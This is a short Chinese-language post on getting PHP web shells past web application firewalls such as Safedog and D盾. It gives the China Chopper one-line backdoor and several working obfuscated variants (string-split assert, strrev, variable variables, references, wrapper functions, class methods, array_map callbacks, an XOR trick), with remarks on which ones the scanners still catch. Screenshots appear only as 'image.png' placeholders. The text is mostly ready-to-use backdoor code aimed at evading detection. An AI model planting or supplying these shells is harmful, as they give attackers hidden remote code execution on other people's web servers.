PHP 过狗

菜刀中的php木马为

<?php
@eval($_POST[key])
?>

现在的waf对eval审查比较严格，采用assert替换。

<?php
@assert($_POST[key]);
?>

其他的一些思路
1.assert可以分割为

$b='a'.'s'.'s'.'e'.'r'.'t'
//利用php特性
$b($_POST[key]);

可以达到上述目的，现在狗可以查出来。
2.颠倒

$b='tressa';
$c=strrev($b);
$c($_POST[key]);

仍然可以查杀
3.变量覆盖

$b=$_POST['key'];
$a='b';
@assert($$a);

仍然可以查杀
4.变量引用

$a=$_POST['key'];
$b=&$a;
@assert($b);

仍然可以查杀
5.其他代码调用

function test($b){
  @eval($b);
}
test($_POST[key]);

仍然可以查杀

image.png

6.php自定义类方法调用

<?php
class Test{
  function testBypass($a){
    assert($a);
    }
  }
  $test= new Test();
  $test->testBypass($_POST['key']);
?>

image.png

可以看到比刚刚的要强不少，狗稍微糊涂一点。

7.函数回调

<?php
array_map('assert',array($_POST['x']));
?>

image.png

8.位运算符

image.png

<?php $a=$_POST['x'];$b=$a;@eval($b^$a);?>

image.png

不玩了不玩了，D盾太强，D盾级别低一点的安全狗都能过.